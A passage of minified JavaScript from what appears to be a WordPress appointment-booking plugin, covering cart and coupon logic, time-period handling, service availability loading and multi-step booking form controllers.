this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return k(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class oe{setupProperties(){var e;this.items=new ne,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:\"\"}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=C());let t=new re(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),h().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return ae(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||y()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=k(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class le{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class he extends le{setupProperties(){super.setupProperties(),this.name=\"\"}}class ce extends le{setupProperties(){super.setupProperties(),this.name=\"\"}}class de extends le{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():c(\"Clients\",\"motopress-appointment\")}}class pe{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class ue extends le{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let i=e[t];null!=i&&\"\"!==i&&(this[t]=g(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=i*this.amount\u002F100}t=Math.min(t,i)}return t}}class me{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return n(this.getRoute(),{id:e})}requestEntities(e){return n(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class ge extends me{findByCode(e,t=!1){return n(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new ue(e.id,e)}}class ye{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?M(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?M(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new ye(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new ye(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let i=\"short\"==e?\"public\":e,s=A(this.startTime,i),a=A(this.endTime,i);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?c(\"All day\",\"motopress-appointment\"):\"short\"==e&&s==a?s:s+t+a}}class ve extends le{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?g(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new ye(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new ye(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class fe extends me{mapRestDataToEntity(e){return new ve(e.id,e)}}class be{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?g(e)||y():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=g(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let i=m(t,\"internal\"),s=new Date(t);e[i]=s}return e}toString(){return m(this.startDate,\"internal\")+\" - \"+m(this.endDate,\"internal\")}}class Se extends le{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new ye(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),\"work\"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new be(t.date_period),time_period:new ye(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new be(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=m(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=g(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class $e extends me{mapRestDataToEntity(e){return new Se(e.id,e)}}class Ie extends me{mapRestDataToEntity(e){return new de(e.id,e)}}class we{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new $e(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new Ie(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new fe(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new ge(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==we.instance&&(we.instance=new we),we.instance}}function Te(){return we.getInstance()}let _e=null;function Ce(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?Ce(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ke(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ke(i.children)));return t}function Pe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...Pe(e.children,t,i,s+1)));return a}function De(e){return b(e)}class Ee{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==_e)&&(_e=n(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),_e}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return _(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new de(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=pe.loadInBackground(s,Te().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new he(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new ce(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(let t in this.availability[e].employees){t=S(t);let i=this.availability[e].employees[t];if(0===s.length)a.push(t);else{P(s,Object.keys(i.locations).map(S)).length>0&&a.push(t)}}return 0===a.length?[]:\"entities\"===i?a.map((e=>this.getEmployee(e))):a}filterAvailableLocations(e,t=0,i=\"ids\"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(t in this.availability[e].employees){if(t=S(t),s.length>0&&-1===s.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)a.push(S(e))}return a=k(a),0===a.length?[]:\"entities\"===i?a.map((e=>this.getLocation(e))):a}}class xe{constructor(e){this.cart=e,this.steps=new ne,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class Ae{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case\"bool\":i=b(t);break;case\"integer\":i=S(t)}if(!_(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class Me extends Ae{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id=\"'+i+'\"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=V(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let i=V(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data(\"id\"),i=this.cart.getItem(t),s=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");s.on(\"change\",(t=>{let s=S(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(R(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:s,currencyCode:h().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(function(e,t={}){return t.literal_free=!1,R(e,t)}(this.cart.getTotalPrice()))}isMultibookingEnabled(){return h().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}function Le(e){return function(e,t=!1){return Te().service().findAll(e,t)}(e.getServiceIds()).then((t=>(e.updateServices(t),t)))}class Be extends Me{setupProperties(){super.setupProperties(),this.wasMultipleReservation=!1,this.$buttonEdit=this.$buttons.find(\".mpa-button-edit\")}addListeners(){super.addListeners(),this.$buttonEdit.on(\"click\",this.startEditing.bind(this))}startEditing(){this.$element.removeClass(\"mpa-loaded\").addClass(\"editable\"),this.$buttonNew.prop(\"disabled\",!0),function(e,t=null){t||(t=new oe),e.find(\".mpa-cart-item:not(.mpa-cart-item-template)\").each(((e,i)=>{let s=i.getAttribute(\"data-id\")||\"\",a=t.createItem(s),r=jQuery(i);s!==a.getItemId()&&(s=a.getItemId(),r.attr(\"data-id\",s));let n=r.find('input[name*=\"service_id\"], select[name*=\"service_id\"]').val(),o=r.find('input[name*=\"employee_id\"], select[name*=\"employee_id\"]').val(),l=r.find('input[name*=\"location_id\"], select[name*=\"location_id\"]').val();n&&(a.service=new de(S(n))),o&&(a.employee=new he(S(o)),a.employee.name=r.find(\".mpa-employee-name\").text().trim()),l&&(a.location=new ce(S(l)),a.location.name=r.find(\".mpa-location-name\").text().trim());let h=r.find('input[name*=\"date\"]').val(),c=r.find('input[name*=\"time\"]').val();h&&(a.date=g(h)),c&&(a.time=new ye(c)),a.date&&a.time&&a.time.setDate(a.date);let d=r.find('input[name*=\"capacity\"], select[name*=\"capacity\"]').val();d&&(a.capacity=S(d))}))}(this.$element,this.cart),this.cart.setActiveItem(null),this.wasMultipleReservation=this.cart.getItemsCount()>1,this.react(),this.cart.items.forEach((e=>{let t=this.$items.find('.mpa-cart-item[data-id=\"'+e.getItemId()+'\"]');t.length>0&&this.bindListeners(t)})),Le(this.cart).then((()=>{this.$element.addClass(\"mpa-loaded\"),this.$buttonNew.prop(\"disabled\",!1)}))}react(){super.react();let e=this.cart.getItemsCount()\u003C1||this.isMultibookingEnabled();this.$buttonNew.toggleClass(\"mpa-hide\",!e)}isMultibookingEnabled(){return this.wasMultipleReservation||super.isMultibookingEnabled()}}class Oe extends 